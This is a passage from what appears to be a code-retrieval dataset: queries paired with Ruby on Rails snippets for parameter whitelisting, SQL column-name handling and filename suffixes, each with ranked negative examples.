query
stringlengths 7
9.55k
| document
stringlengths 10
363k
| metadata
dict | negatives
listlengths 0
101
| negative_scores
listlengths 0
101
| document_score
stringlengths 3
10
| document_rank
stringclasses 102
values |
|---|---|---|---|---|---|---|
Never trust parameters from the scary internet, only allow the white list through.
|
def kpi_type_params
params.require(:kpi_type).permit(:name,:code)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"def allow_params_authentication!; end",
"def allowed_params\n ALLOWED_PARAMS\n end",
"def default_param_whitelist\n [\"mode\"]\n end",
"def param_whitelist\n [:role, :title]\n end",
"def expected_permitted_parameter_names; end",
"def safe_params\n params.except(:host, :port, :protocol).permit!\n end",
"def strong_params\n params.require(:team_member).permit(param_whitelist)\n end",
"def permitir_parametros\n \t\tparams.permit!\n \tend",
"def strong_params\n params.require(:community).permit(param_whitelist)\n end",
"def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end",
"def strong_params\n params.require(:education).permit(param_whitelist)\n end",
"def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end",
"def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end",
"def param_whitelist\n [:rating, :review]\n end",
"def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end",
"def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end",
"def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end",
"def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end",
"def valid_params_request?; end",
"def strong_params\n params.require(:experience).permit(param_whitelist)\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end",
"def allowed_params\n params.require(:allowed).permit(:email)\n end",
"def permitted_params\n []\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end",
"def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend",
"def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end",
"def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end",
"def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end",
"def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end",
"def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end",
"def safe_params\n params.require(:user).permit(:name)\n end",
"def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend",
"def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end",
"def check_params; true; end",
"def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end",
"def quote_params\n params.permit!\n end",
"def valid_params?; end",
"def paramunold_params\n params.require(:paramunold).permit!\n end",
"def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend",
"def filtered_parameters; end",
"def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end",
"def filtering_params\n params.permit(:email, :name)\n end",
"def check_params\n true\n end",
"def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend",
"def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend",
"def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end",
"def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end",
"def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end",
"def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend",
"def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end",
"def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end",
"def active_code_params\n params[:active_code].permit\n end",
"def filtering_params\n params.permit(:email)\n end",
"def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end",
"def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end",
"def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end",
"def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end",
"def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end",
"def list_params\n params.permit(:name)\n end",
"def filter_parameters; end",
"def filter_parameters; end",
"def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end",
"def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end",
"def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end",
"def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end",
"def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end",
"def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end",
"def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"def url_whitelist; end",
"def admin_social_network_params\n params.require(:social_network).permit!\n end",
"def filter_params\n params.require(:filters).permit(:letters)\n end",
"def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end",
"def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end",
"def sensitive_params=(params)\n @sensitive_params = params\n end",
"def permit_request_params\n params.permit(:address)\n end",
"def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end",
"def secure_params\n params.require(:location).permit(:name)\n end",
"def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end",
"def question_params\n params.require(:survey_question).permit(question_whitelist)\n end",
"def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end",
"def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end",
"def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end",
"def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end",
"def url_params\n params[:url].permit(:full)\n end",
"def backend_user_params\n params.permit!\n end",
"def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend",
"def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end",
"def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end",
"def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end",
"def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end",
"def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end",
"def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end",
"def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end",
"def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end"
] |
[
"0.69792545",
"0.6781151",
"0.67419964",
"0.674013",
"0.6734356",
"0.6591046",
"0.6502396",
"0.6496313",
"0.6480641",
"0.6477825",
"0.64565",
"0.6438387",
"0.63791263",
"0.63740575",
"0.6364131",
"0.63192815",
"0.62991166",
"0.62978333",
"0.6292148",
"0.6290449",
"0.6290076",
"0.62894756",
"0.6283177",
"0.6242471",
"0.62382483",
"0.6217549",
"0.6214457",
"0.6209053",
"0.6193042",
"0.6177802",
"0.6174604",
"0.61714715",
"0.6161512",
"0.6151757",
"0.6150663",
"0.61461",
"0.61213595",
"0.611406",
"0.6106206",
"0.6105114",
"0.6089039",
"0.6081015",
"0.6071004",
"0.60620916",
"0.6019971",
"0.601788",
"0.6011056",
"0.6010898",
"0.6005122",
"0.6005122",
"0.6001556",
"0.6001049",
"0.59943926",
"0.5992201",
"0.59909594",
"0.5990628",
"0.5980841",
"0.59669393",
"0.59589154",
"0.5958826",
"0.5957911",
"0.5957385",
"0.5953072",
"0.59526145",
"0.5943361",
"0.59386164",
"0.59375334",
"0.59375334",
"0.5933856",
"0.59292704",
"0.59254247",
"0.5924164",
"0.59167904",
"0.59088355",
"0.5907542",
"0.59064597",
"0.5906243",
"0.5898226",
"0.589687",
"0.5896091",
"0.5894501",
"0.5894289",
"0.5891739",
"0.58860534",
"0.5882406",
"0.587974",
"0.58738774",
"0.5869024",
"0.58679986",
"0.5867561",
"0.5865932",
"0.5864461",
"0.58639693",
"0.58617616",
"0.5861436",
"0.5860451",
"0.58602303",
"0.5854586",
"0.58537364",
"0.5850427",
"0.5850199"
] |
0.0
|
-1
|
SQL Studio puts bullshit characters into first column name
|
def clean_string s
s.gsub(/\s/, "")
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def column_name(column)\n tmp = ''\n column.name.gsub(/_/, ' ').gsub(/id/,\"\").split.each{|word| tmp += word.capitalize + ' '}\n return tmp\n end",
"def column_name; end",
"def default_column_prefix\n \"\"\n end",
"def rails_column_name(column_name)\n column_name.underscore.gsub(\" \", \"_\").gsub(\"_0x0020_\", \"_\")\n end",
"def columnName_to_fieldname (name)\n return name.downcase.gsub(' ','-')\nend",
"def quote_column_name(name)\n name.to_s\n end",
"def decode_name(col)\n end",
"def column_name\n ensure_setup!\n column.name.to_sym\n end",
"def column_name\n name.to_sym\n end",
"def column_name_length\n 31\n end",
"def quote_column_name(str)\n str.to_s\n end",
"def encode_name(col)\n if col.name == 'id'\n :_id\n elsif col.name == 'type'\n :_type\n else\n col.name.to_sym\n end\n end",
"def fixup_column_names(columns)\n columns.map { |column| column.sub(/_$/, '') }\n end",
"def header_str\n @columns.collect {|c|\n if @table[c]\n #{}\"%#{@table[c][:size]}s\" % [@table[c][:name]]\n format_data(c, @table[c][:name])\n else\n nil\n end\n }.compact.join(' ')\n end",
"def my_column_name\n return @my_column_name if defined? @my_column_name\n if is_sq?\n @my_column_name = \"#{lime_group.sid}X#{gid}X#{parent_qid}#{title}\"\n else\n @my_column_name = \"#{lime_group.sid}X#{gid}X#{qid}\"\n end\n return @my_column_name\n end",
"def columns\n [\"#{@base}.*\"]\n end",
"def quote_column_name(name)\n name = name.to_s.split('.')\n name.map! { |n| quote_name_part(n) } # \"[#{name}]\"\n name.join('.')\n end",
"def row_name_columns\n [:appendix, :taxon, :term, :unit, :country]\n end",
"def quote_column_name(name)\n %[\"#{name.to_s.gsub('\"', '\"\"')}\"]\n end",
"def real_column; end",
"def column_name(index)\n \"Column #{index}\"\n end",
"def full_name\n \"#{@table_alias}#{name}\"\n end",
"def make_db_title(db_name)\n db_name.gsub!('\"', \"'\")\n # removes .fasta like extension names\n db_name.gsub!(File.extname(db_name), '')\n # replaces _ with ' ',\n db_name.gsub!(/(_)/, ' ')\n # replaces '.' with ' ' when no numbers are on either side,\n db_name.gsub!(/(?<![0-9])\\.(?![0-9])/, ' ')\n # preserves version numbers\n db_name.gsub!(/\\W*(\\d+([.-]\\d+)+)\\W*/, ' \\1 ')\n db_name\n end",
"def quote_column_name(column_name)\n column_name.to_s\n end",
"def scaffold_name_sql\n scaffold_auto_complete_options[:sql_name]\n end",
"def quote_column_name(name) #:nodoc:\n name.to_s =~ /[A-Z]/ ? \"\\\"#{name}\\\"\" : quote_oracle_reserved_words(name)\n end",
"def quote_column_name(name) #:nodoc:\r\n %Q(\"#{name}\")\r\n end",
"def quote_column_name(name) #:nodoc:\n \"\\\"#{name}\\\"\"\n #query(\"SELECT QUOTE_IDENT('#{name}')\")[0][0]\n end",
"def full_name\n super || begin\n update(full_name: vacols_full_name) if persisted?\n super\n end\n end",
"def column_name\n Name.new(\"#{name}_id\")\n end",
"def camerize(tablename)\n tablename.split(\"_\").map {|word| word.capitalize }.join(\"\")\n end",
"def get_field_column_name(args)\r\n #expected args => :unlimited, :field\r\n prefix = args[:unlimited] ? \"u_\" : \"l_\"\r\n field_id = \"_#{args[:field_id]}\"\r\n field_name = args[:field]\r\n column_name = \"#{prefix}#{field_name}\"\r\n checksum = \"_#{Digest::CRC16.hexdigest(field_name)}\"\r\n field_truncate_pos = @max_db_identifier_size - (prefix.size + checksum.size)\r\n if column_name.size > @max_db_identifier_size then\r\n \"#{prefix}#{field_name[0,field_truncate_pos]}#{checksum}\"\r\n else\r\n column_name\r\n end\r\n end",
"def col_name(col)\n [@_table_name, col.name].join('.')\n end",
"def column_sql\n column_sql_format.gsub(\"{table}\", quoted_table_name).gsub(\"{column}\", quoted_column_name)\n end",
"def __spatial_column_name_ewkb; end",
"def columns_title\n self.columns.collect{|c|c.label}\n end",
"def escape_col(name)\n raise \"Possible SQL injection hack: '#{name}'.\" unless name.to_s.match(/\\A[A-z\\d_]+\\Z/)\n return name\n end",
"def test_rename_column_using_symbol_arguments\n add_column :test_models, :first_name, :string\n\n TestModel.create first_name: \"foo\"\n\n rename_column :test_models, :first_name, :nick_name\n TestModel.reset_column_information\n assert_includes TestModel.column_names, \"nick_name\"\n assert_equal [\"foo\"], TestModel.all.map(&:nick_name)\n end",
"def dl_name(column_index)\n case column_index\n when 0\n return :easy\n when 1\n return :medium\n when 2\n return :tough\n end\n end",
"def makeColumnName(arg)\n index = arg.index(':')\n if not index\n # Add a colon. If already a colon, its in the right place,\n # or an exception will come up out of the addFamily\n arg << ':'\n end\n arg\n end",
"def __spatial_column_name_ewkt; end",
"def column_name_length\n IDENTIFIER_MAX_LENGTH\n end",
"def scaffold_auto_complete_name_sql\n scaffold_auto_complete_options[:sql_name]\n end",
"def make_sql_friendly( name )\n return name.strip.gsub( \"'\", \"''\" )\n end",
"def table_name\n respond_to?(:first_source_alias) ? first_source_alias : super\n end",
"def quote_column_if_needed(column); end",
"def get_name_column(options) #:nodoc:\n if options.has_key?(:name_column) && !options[:name_column].blank? then\n options[:name_column].to_s.to_sym\n else\n :name\n end\n end",
"def clean_col_header (hdr)\r\n\t\t\t# Conversion is:\r\n\t\t\t# - strip flanking space\r\n\t\t\t# - convert all internal non-alphanumerics to underscores\r\n\t\t\t# reduce consequetive underscores to a single one\r\n\t\t\t# TODO: strip flanking underscores\r\n\t\t\tclean_str = hdr.downcase.strip.gsub(/\\W+/, '_')\r\n\t\t\treturn clean_str.gsub(/_+/, '_')\r\n\t\tend",
"def quote_column_name_or_expression(name) # :nodoc:\n name = name.to_s\n case name\n # if only valid lowercase column characters in name\n when /^[a-z][a-z_0-9$#]*$/\n \"\\\"#{name.upcase}\\\"\"\n when /^[a-z][a-z_0-9$#-]*$/i\n \"\\\"#{name}\\\"\"\n # if other characters present then assume that it is expression\n # which should not be quoted\n else\n name\n end\n end",
"def non_standardized_header(row)\n @header=row.split(/\\s{2}+/).reject{|a|a.empty?} \n @header[1].insert(8,'--')\n @header[1]=@header[1].split(/--/)\n @header.insert(1,'Incep Date')\n @header=@header.flatten\n end",
"def __spatial_column_name_wkt; end",
"def name\n self[:name] || (title ? Array(title).join(\"\\n\") : \"_col=#{colnum}\")\n end",
"def column_all_sql(ca)\n \"#{quote_identifier(ca.table)}.*\"\n end",
"def column_names\n\t\t@validated_gets.map{|f| f[:external]} + [\"usd_2009\", \"usd_current\", \"count\", \"min_year\", \"max_year\"]\n\tend",
"def first_col_sym(symbol)\n \"#{239.chr}#{187.chr}#{191.chr}#{symbol}\".force_encoding(\"utf-8\").to_sym\n end",
"def col_names_for_insert\n self.class.column_names.delete_if {|col| col == \"id\"}.join(\", \")\n #\n end",
"def csv_column_to_db_column(csv_column_name)\n csv_column_name.gsub(/\\s+/, \"\").underscore\n end",
"def column_names\n raise NotSupportedError\n end",
"def column_names\n @entity_columns.map(&:name).map(&:to_s)\n end",
"def table_name\n dataset.first_source_alias\n end",
"def table_name\n dataset.first_source_alias\n end",
"def quote_column_name(name) #:nodoc:\n '[' + name.to_s + ']'\n end",
"def human_readable_identifier_columns\n { :project => :title }\n end",
"def column_names(column_mappings)\n column_mappings.map { |c| (c['column'] || c['standard_mapping']).downcase }\n end",
"def special_character_records column_name\n @model_name.where(column_name.to_sym => SPECIAL_CHARACTER_LISTS)\n end",
"def singleTableColDef(tabName)\n res=@conn.exec(\"SELECT column_name,data_type,column_default,is_nullable FROM information_schema.columns WHERE table_name ='#{tabName}'\")\n retType=\"\"\n for i in res\n colVal = \"+\"+i[0].to_s+\"+\" \n dataType = \"+\"+i[1].to_s+\"+\" \n retType = retType + \"|\"+colVal.center(25)+\"|\"+dataType.center(24)+\"|\"+self.singleTableColDesc(tabName)\n retType = retType + \"\\n\"\n end\n return retType\n end",
"def name_column\n @name_column ||= self.acts_enumerated_name_column\n end",
"def middle_initial\n middlename.to_s[0]\n end",
"def human_relation_column(column_name)\n cattr_accessor :_human_relation_column\n self._human_relation_column = column_name.to_s\n end",
"def pgt_mangled_table_name(table)\n quote_schema_table(table).gsub('\"', '').gsub(/[^A-Za-z0-9]/, '_').gsub(/_+/, '_')\n end",
"def unique_column_name\n \"t#{SecureRandom.hex}\"\n end",
"def chooseColumnAlias\n @metadata.chooseColumnAlias\n end",
"def col_names_for_insert\n self.class.column_names.delete_if {|column| column == \"id\"}.join(\", \")\n end",
"def translate_column(letter)\n @column = letter.downcase.ord - 97\n end",
"def get_column_string(name, type)\n case type\n when 'primary_key' then \"primary_key :#{name}\"\n when 'integer' then \"Integer :#{name}\"\n when 'string' then \"String :#{name}\"\n when 'text' then \"String :#{name}, text: true\"\n when 'boolean' then \"TrueClass :#{name}\"\n when 'float' then \"Float :#{name}\"\n when 'date' then \"Date :#{name}\"\n when 'time' then \"Time :#{name}\"\n when 'references' then \"foreign_key :#{name.foreign_key}, :#{name.tableize}\"\n when 'references_singleton' then \"foreign_key :#{name.foreign_key}, :#{name.underscore}\"\n end\n end",
"def unique_name\n if @columns.length == 1\n @alias || @columns.first.__name\n else\n @alias\n end\n end",
"def scaffold_column_name(column_name)\n @scaffold_column_names ||= {}\n @scaffold_column_names[column_name] ||= if n = SCAFFOLD_OPTIONS[:column_names][column_name]\n n\n elsif scaffold_association(column_name)\n scaffold_associated_human_name(column_name)\n else\n column_name.to_s.humanize\n end \n end",
"def column; end",
"def column; end",
"def column; end",
"def column; end",
"def column; end",
"def column; end",
"def column; end",
"def col_names_for_insert\n self.class.column_names.delete_if {|col| col == \"id\"}.join(\", \")\n #returns [\"name\", \"album\"]\n #Notice that the column names in the statement are comma separated. Our column names returned by the code above are in an array. Let's turn them into a comma separated list, contained in a string.\n #Returns \"name, album\"\n end",
"def column_names string\n string.split(\"|\").flatten\n end",
"def real_table_name\n packageid.gsub('.', '_')\n end",
"def get_new_colname\n id = ncols\n while true do\n break :\"var#{id}\" unless colnames.include?(:\"var#{id}\")\n id += 1\n end\n end",
"def db_table\n name = (\"evaldata_\" + term.title + \"_\" + title).strip\n name = ActiveSupport::Inflector.transliterate(name).downcase\n name.gsub(/[^a-z0-9_]+/, \"_\")\n end",
"def col_names_for_insert\n columns = self.class.column_names # [ \"id\", \"name\", \"grade\"]\n columns.delete_if{|col| col == \"id\"} # [ \"name\", \"grade\"]\n columns.join(\", \") # \"name, grade\"\n end",
"def col_names_for_insert\n self.class.column_names.delete_if{|col| col == \"id\"}.join(\", \")\n end",
"def query_part_column_names\n remote_query_column_types.map{|name, type| name}.join(\"\\n , \")\n end",
"def slug_column=(_arg0); end",
"def slug_column=(_arg0); end",
"def column(options = {})\n options = normalize_options(options) \n return \"\" if @column == \"\"\n @column =~ /(.*\\.)?(.*)/\n if (table_class = options[:table_class])\n\t\"#{table_class.table.table_name}.`#{$2}`\"\n else\n\t\"#{$1}`#{$2}`\"\n end\n end",
"def test_rename_column\n add_column \"test_models\", \"first_name\", \"string\"\n\n TestModel.create first_name: \"foo\"\n\n rename_column \"test_models\", \"first_name\", \"nick_name\"\n TestModel.reset_column_information\n assert_includes TestModel.column_names, \"nick_name\"\n assert_equal [\"foo\"], TestModel.all.map(&:nick_name)\n end",
"def converted_field_name\n FIELD_NAMES_TABLE[@token.field_name] || @token.field_name\n end",
"def test_column_human_name\n assert_equal @attribute_names[:name], Address.columns.find{|c| c.name == 'name'}.human_name\n end",
"def quote_table_name(name)\n quote_column_name(name)\n end",
"def col_names_for_insert\n self.class.column_names.delete_if {|col| col == \"id\"}.join(\", \")\n end",
"def col_names_for_insert\n self.class.column_names.delete_if {|col| col == \"id\"}.join(\", \")\n end"
] |
[
"0.67904806",
"0.67714685",
"0.66960335",
"0.6689355",
"0.6643317",
"0.6585114",
"0.6479279",
"0.63700175",
"0.6305285",
"0.6278356",
"0.62226486",
"0.6221626",
"0.6198898",
"0.6172996",
"0.6163289",
"0.6159078",
"0.6134138",
"0.61275274",
"0.6089388",
"0.60751456",
"0.60093",
"0.59669954",
"0.5965802",
"0.5960446",
"0.59444577",
"0.59381765",
"0.5907981",
"0.59063214",
"0.5903527",
"0.5902278",
"0.5885654",
"0.5882354",
"0.5872226",
"0.5868656",
"0.58568364",
"0.5856543",
"0.58273536",
"0.5825594",
"0.5817182",
"0.58145875",
"0.57974285",
"0.57883465",
"0.57758915",
"0.5773026",
"0.57515424",
"0.5741284",
"0.5735362",
"0.5728289",
"0.5716745",
"0.57095146",
"0.57083553",
"0.5693664",
"0.5685944",
"0.56801313",
"0.56744254",
"0.5672399",
"0.5661863",
"0.56597245",
"0.56563234",
"0.56516725",
"0.56516725",
"0.5651052",
"0.5650566",
"0.56488216",
"0.56467205",
"0.56415945",
"0.56399286",
"0.5637724",
"0.5633244",
"0.5625457",
"0.5617028",
"0.56137246",
"0.56116813",
"0.56084144",
"0.56065905",
"0.56020474",
"0.5600855",
"0.55995435",
"0.55995435",
"0.55995435",
"0.55995435",
"0.55995435",
"0.55995435",
"0.55995435",
"0.5599392",
"0.55985224",
"0.5596518",
"0.55694366",
"0.55677533",
"0.5563227",
"0.5562749",
"0.5559635",
"0.5557614",
"0.5557614",
"0.5547937",
"0.5541799",
"0.55414575",
"0.5533184",
"0.5529696",
"0.55277854",
"0.5526934"
] |
0.0
|
-1
|
add_suffix "somefile.xml", "_1234" => somefile_1234.xml""
|
def add_suffix filename, suffix
parts = filename.split("\.")
base = parts[0..-2]
parts2 = base << suffix << parts[-1]
fn = parts2.join(".")
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def file_suffix\n file_name.split('.').last \n end",
"def suffix(num)\n namespace + '_suffix_' + num.to_s\n end",
"def suffix; end",
"def suffix; end",
"def suffix; end",
"def suffix; end",
"def suffix; end",
"def formatted_filename(name, version, suffix, extension)\n name.gsub(\"#{version}_\", \"\").chomp(File.extname(name)) + \"_#{suffix}.#{extension}\"\n end",
"def add_filename_suffix(filename, suffix)\n f = filename.split(File::SEPARATOR)\n # If the filename is '.' or '..' add the suffix to the parent path,\n # otherwise add it to the basename\n i = %w[. ..].include?(f[-1]) ? -2 : -1\n # Split the basename around the file extension and prepend the suffix\n # to the extension\n if f[i]\n file_ext = f[i].rpartition(File.extname(f[i]))\n file_ext[1] = \"#{suffix}#{file_ext[1]}\"\n f[i] = file_ext.join\n end\n # Reconstruct the filename, preserving any trailing path separator\n f.push('') if filename.end_with?(File::SEPARATOR)\n File.join(f)\n end",
"def changeFileExtensionTo(filename, extension)\n return \"#{File.basename(filename, File.extname(filename))}.#{extension}\"\nend",
"def prefix_suffix\n ext = extname\n [basename(ext), ext]\n end",
"def make_file_name aExtension, *aWords #:nodoc:\n aWords.join(' ').to_file_name.ext(aExtension)\n end",
"def add_filename_prefix(filename, prefix)\n filename = filename.rpartition(File.basename(filename))\n filename[1] = \"#{prefix}#{filename[1]}\"\n filename.join\n end",
"def archive_file_suffix\n raise NotImplementedError\n end",
"def safe_filename(id, suffix = \"\")\n filename = \"#{id}_#{Time.now.getutc}_#{suffix}\"\n filename.gsub(/\\s+/, '_').gsub(/[^0-9A-Za-z_\\.]/, '')\n end",
"def processed_filename(filename, extension = nil)\n suffix = \"_#{model.filename_token}\"\n max_processed_filename_size = max_processed_filename_size(suffix)\n filename_without_suffix = filename.slice 0, max_processed_filename_size\n \"#{filename_without_suffix.parameterize}#{suffix}\".tap { |s| s << \".#{extension}\" if extension }\n end",
"def make_identifier_suffix( url )\n\t\treturn url.to_s.gsub( /\\W+/, '-' )\n\tend",
"def create_file_name(ext = nil)\n ext ||= self.ext\n return name unless ext\n \"#{unique_key}.#{ext}\"\n end",
"def create_unique_filename( text_value, suffix = DateTime.now.strftime(\"_%Y%m%d_%H%M\") )\n text_value.gsub(/[òàèùçé\\^\\!\\\"\\'£\\$%&?\\.\\,;:§°<>]/,'').gsub(/[\\s|]/,'_').gsub(/[\\\\\\/=]/,'-') + suffix\n end",
"def append(suffix)\n lambda do |rec, acc|\n acc.collect! { |v| v + suffix }\n end\n end",
"def file_name(name)\n name.to_s.gsub(/-/, \"_\").underscore\n end",
